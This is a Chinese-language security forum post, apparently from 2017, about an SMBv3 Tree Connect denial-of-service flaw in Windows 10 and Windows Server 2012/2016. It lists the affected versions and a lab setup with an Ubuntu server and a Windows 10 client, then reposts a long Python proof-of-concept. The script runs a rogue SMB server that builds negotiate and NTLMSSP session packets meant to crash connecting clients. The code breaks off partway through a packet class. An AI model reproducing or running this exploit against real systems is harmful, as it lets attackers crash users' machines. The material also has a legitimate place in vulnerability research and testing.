搜索
查看: 286|回复: 0

Microsoft Windows 10 - SMBv3 Tree Connect (PoC)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-2-3 21:16:08 | 显示全部楼层 |阅读模式
1 漏洞简介:
SMB 是一个网络文件共享协议,它允许应用程序和终端用户从远端的文件服务器 访问文件资源。就在近日,国外研究员公布了一个 SMB 3.0 协议的 0day 漏洞, 能够造成系统的拒绝服务,目前还没有更详细的漏洞细节披露。
2 漏洞影响:
攻击者可通过诱使用户访问伪造的SMB服务端,从而进行拒绝服务攻击,最终危 害到用户的系统。
3 影响版本:
Windows Server 2012 Windows Server 2016 Windows 10 其它版本可能也受影响。
4 环境搭建
PoC 运行的服务端:Ubuntu 16.04 x64
测试客户端:Windows 10 x64
5 漏洞复现
在 Ubuntu 下执行 PoC 脚本来模拟 SMB 服务端并等待客户端的连接:
在客户端 Windows 10 上访问该 SMB 服务端:
最终将触发漏洞从而导致系统的崩溃:
  1. # Full Proof of Concept:
  2. # https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41222.zip

  3. import sys, struct, SocketServer
  4. from odict import OrderedDict
  5. from datetime import datetime
  6. from calendar import timegm

  7. class Packet():
  8.     fields = OrderedDict([
  9.         ("data", ""),
  10.     ])
  11.     def __init__(self, **kw):
  12.         self.fields = OrderedDict(self.__class__.fields)
  13.         for k,v in kw.items():
  14.             if callable(v):
  15.                 self.fields[k] = v(self.fields[k])
  16.             else:
  17.                 self.fields[k] = v
  18.     def __str__(self):
  19.         return "".join(map(str, self.fields.values()))

  20. def NTStamp(Time):
  21.     NtStamp = 116444736000000000 + (timegm(Time.timetuple()) * 10000000)
  22.     return struct.pack("Q", NtStamp + (Time.microsecond * 10))

  23. def longueur(payload):
  24.     length = struct.pack(">i", len(''.join(payload)))
  25.     return length

  26. def GrabMessageID(data):
  27.     Messageid = data[28:36]
  28.     return Messageid

  29. def GrabCreditRequested(data):
  30.     CreditsRequested = data[18:20]
  31.     if CreditsRequested == "\x00\x00":
  32.        CreditsRequested =  "\x01\x00"
  33.     else:
  34.        CreditsRequested = data[18:20]
  35.     return CreditsRequested

  36. def GrabCreditCharged(data):
  37.     CreditCharged = data[10:12]
  38.     return CreditCharged

  39. def GrabSessionID(data):
  40.     SessionID = data[44:52]
  41.     return SessionID

  42. ##################################################################################
  43. class SMBv2Header(Packet):
  44.     fields = OrderedDict([
  45.         ("Proto",         "\xfe\x53\x4d\x42"),
  46.         ("Len",           "\x40\x00"),
  47.         ("CreditCharge",  "\x00\x00"),
  48.         ("NTStatus",      "\x00\x00\x00\x00"),
  49.         ("Cmd",           "\x00\x00"),
  50.         ("Credits",       "\x01\x00"),
  51.         ("Flags",         "\x01\x00\x00\x00"),
  52.         ("NextCmd",       "\x00\x00\x00\x00"),
  53.         ("MessageId",     "\x00\x00\x00\x00\x00\x00\x00\x00"),
  54.         ("PID",           "\xff\xfe\x00\x00"),
  55.         ("TID",           "\x00\x00\x00\x00"),
  56.         ("SessionID",     "\x00\x00\x00\x00\x00\x00\x00\x00"),
  57.         ("Signature",     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
  58.     ])

  59. ##################################################################################
  60. class SMB2NegoAns(Packet):
  61.         fields = OrderedDict([
  62.                 ("Len",             "\x41\x00"),
  63.                 ("Signing",         "\x01\x00"),
  64.                 ("Dialect",         "\xff\x02"),
  65.                 ("Reserved",        "\x00\x00"),
  66.                 ("Guid",            "\xea\x85\xab\xf1\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x72\xa9"),
  67.                 ("Capabilities",    "\x07\x00\x00\x00"),
  68.                 ("MaxTransSize",    "\x00\x00\x10\x00"),
  69.                 ("MaxReadSize",     "\x00\x00\x10\x00"),
  70.                 ("MaxWriteSize",    "\x00\x00\x10\x00"),
  71.                 ("SystemTime",      NTStamp(datetime.now())),
  72.                 ("BootTime",        "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
  73.                 ("SecBlobOffSet",             "\x80\x00"),
  74.                 ("SecBlobLen",                "\x78\x00"),
  75.                 ("Reserved2",                 "\x4d\x53\x53\x50"),
  76.                 ("InitContextTokenASNId",     "\x60"),
  77.                 ("InitContextTokenASNLen",    "\x76"),
  78.                 ("ThisMechASNId",             "\x06"),
  79.                 ("ThisMechASNLen",            "\x06"),
  80.                 ("ThisMechASNStr",            "\x2b\x06\x01\x05\x05\x02"),
  81.                 ("SpNegoTokenASNId",          "\xA0"),
  82.                 ("SpNegoTokenASNLen",         "\x6c"),
  83.                 ("NegTokenASNId",             "\x30"),
  84.                 ("NegTokenASNLen",            "\x6a"),
  85.                 ("NegTokenTag0ASNId",         "\xA0"),
  86.                 ("NegTokenTag0ASNLen",        "\x3c"),
  87.                 ("NegThisMechASNId",          "\x30"),
  88.                 ("NegThisMechASNLen",         "\x3a"),
  89.                 ("NegThisMech1ASNId",         "\x06"),
  90.                 ("NegThisMech1ASNLen",        "\x0a"),
  91.                 ("NegThisMech1ASNStr",        "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
  92.                 ("NegThisMech2ASNId",         "\x06"),
  93.                 ("NegThisMech2ASNLen",        "\x09"),
  94.                 ("NegThisMech2ASNStr",        "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
  95.                 ("NegThisMech3ASNId",         "\x06"),
  96.                 ("NegThisMech3ASNLen",        "\x09"),
  97.                 ("NegThisMech3ASNStr",        "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
  98.                 ("NegThisMech4ASNId",         "\x06"),
  99.                 ("NegThisMech4ASNLen",        "\x0a"),
  100.                 ("NegThisMech4ASNStr",        "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
  101.                 ("NegThisMech5ASNId",         "\x06"),
  102.                 ("NegThisMech5ASNLen",        "\x0a"),
  103.                 ("NegThisMech5ASNStr",        "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
  104.                 ("NegTokenTag3ASNId",         "\xA3"),
  105.                 ("NegTokenTag3ASNLen",        "\x2a"),
  106.                 ("NegHintASNId",              "\x30"),
  107.                 ("NegHintASNLen",             "\x28"),
  108.                 ("NegHintTag0ASNId",          "\xa0"),
  109.                 ("NegHintTag0ASNLen",         "\x26"),
  110.                 ("NegHintFinalASNId",         "\x1b"),
  111.                 ("NegHintFinalASNLen",        "\x24"),
  112.                 ("NegHintFinalASNStr",        "Server2009@SMB3.local"),
  113.                 ("Data",                      ""),
  114.         ])

  115.         def calculate(self):


  116.                 StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
  117.                  
  118.                 SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])


  119.                 AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])

  120.                 AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])

  121.                 MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])

  122.                 Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])

  123.                 #Sec Blob lens
  124.                 self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
  125.                 self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
  126.                 #ASN Stuff
  127.                 self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
  128.                 self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
  129.                 self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
  130.                 self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
  131.                 self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
  132.                 self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
  133.                 self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
  134.                 self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
  135.                 self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
  136.                 self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
  137.                 self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
  138.                 self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
  139.                 self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
  140.                 self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))

  141. ##################################################################################
  142. class SMB2Session1Data(Packet):
  143.         fields = OrderedDict([
  144.                 ("Len",             "\x09\x00"),
  145.                 ("SessionFlag",     "\x01\x00"),
  146.                 ("SecBlobOffSet",   "\x48\x00"),
  147.                 ("SecBlobLen",      "\x06\x01"),
  148.                 ("ChoiceTagASNId",        "\xa1"),
  149.                 ("ChoiceTagASNLenOfLen",  "\x82"),
  150.                 ("ChoiceTagASNIdLen",     "\x01\x02"),
  151.                 ("NegTokenTagASNId",      "\x30"),
  152.                 ("NegTokenTagASNLenOfLen","\x81"),
  153.                 ("NegTokenTagASNIdLen",   "\xff"),
  154.                 ("Tag0ASNId",             "\xA0"),
  155.                 ("Tag0ASNIdLen",          "\x03"),
  156.                 ("NegoStateASNId",        "\x0A"),
  157.                 ("NegoStateASNLen",       "\x01"),
  158.                 ("NegoStateASNValue",     "\x01"),
  159.                 ("Tag1ASNId",             "\xA1"),
  160.                 ("Tag1ASNIdLen",          "\x0c"),
  161.                 ("Tag1ASNId2",            "\x06"),
  162.                 ("Tag1ASNId2Len",         "\x0A"),
  163.                 ("Tag1ASNId2Str",         "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
  164.                 ("Tag2ASNId",             "\xA2"),
  165.                 ("Tag2ASNIdLenOfLen",     "\x81"),
  166.                 ("Tag2ASNIdLen",          "\xE9"),
  167.                 ("Tag3ASNId",             "\x04"),
  168.                 ("Tag3ASNIdLenOfLen",     "\x81"),
  169.                 ("Tag3ASNIdLen",          "\xE6"),
  170.                 ("NTLMSSPSignature",      "NTLMSSP"),
  171.                 ("NTLMSSPSignatureNull",  "\x00"),
  172.                 ("NTLMSSPMessageType",    "\x02\x00\x00\x00"),
  173.                 ("NTLMSSPNtWorkstationLen","\x1e\x00"),
  174.                 ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
  175.                 ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
  176.                 ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
  177.                 ("NTLMSSPNtServerChallenge","\x82\x21\x32\x14\x51\x46\xe2\x83"),
  178.                 ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
  179.                 ("NTLMSSPNtTargetInfoLen","\x94\x00"),
  180.                 ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
  181.                 ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
  182.                 ("NegTokenInitSeqMechMessageVersionHigh","\x06"),
  183.                 ("NegTokenInitSeqMechMessageVersionLow","\x03"),
  184.                 ("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
  185.                 ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
  186.                 ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
  187.                 ("NTLMSSPNtWorkstationName","SMB3"),
  188.                 ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
  189.                 ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
  190.                 ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB5"),
  191.                 ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
  192.                 ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
  193.                 ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH502RQAFV"),
  194.                 ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
  195.                 ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
  196.                 ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB5.local"),
  197.                 ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
  198.                 ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
  199.                 ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH502RQAFV.SMB5.local"),
  200.                 ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
  201.                 ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
  202.                 ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB5.local"),
  203.                 ("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
  204.                 ("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
  205.                 ("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",NTStamp(datetime.now())),
  206.                 ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
  207.                 ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
  208.         ])


  209.         def calculate(self):
  210.                 ###### Convert strings to Unicode
  211.                 self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
  212.                 self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
  213.                 self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
  214.                 self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
  215.                 self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
  216.                 self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
  217.                
  218.                 #Packet struct calc:
  219.                 StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
  220.                 ###### SecBlobLen Calc:
  221.                 CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])

  222.                 AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])


  223.                 #Packet Struct len
  224.                 self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
  225.                 self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)

  226.                 ###### ASN Stuff
  227.                 if len(CalculateSecBlob) > 255:
  228.                    self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
  229.                 else:
  230.                    self.fields["Tag3ASNIdLenOfLen"] = "\x81"
  231.                    self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))

  232.                 if len(AsnLen+CalculateSecBlob)-3 > 255:
  233.                    self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
  234.                 else:
  235.                    self.fields["ChoiceTagASNLenOfLen"] = "\x81"
  236.                    self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)

  237.                 if len(AsnLen+CalculateSecBlob)-7 > 255:
  238.                    self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
  239.                 else:
  240.                    self.fields["NegTokenTagASNLenOfLen"] = "\x81"
  241.                    self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)
  242.                
  243.                 tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])

  244.                 if len(tag2length) > 255:
  245.                    self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
  246.                 else:
  247.                    self.fields["Tag2ASNIdLenOfLen"] = "\x81"
  248.                    self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))

  249.                 self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
  250.                 self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))

  251.                 ###### Workstation Offset
  252.                 CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])

  253.                 ###### AvPairs Offset
  254.                 CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])

  255.                 ##### Workstation Offset Calculation:
  256.                 self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
  257.                 self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
  258.                 self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))

  259.                 ##### Target Offset Calculation:
  260.                 self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
  261.                 self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
  262.                 self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
  263.                
  264.                 ##### IvPair Calculation:
  265.                 self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
  266.                 self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
  267.                 self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
  268.                 self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
  269.                 self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
  270.                 self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

  271. class SMB2SessionAcceptData(Packet):
  272.         fields = OrderedDict([
  273.                 ("Len",                       "\x09\x00"),
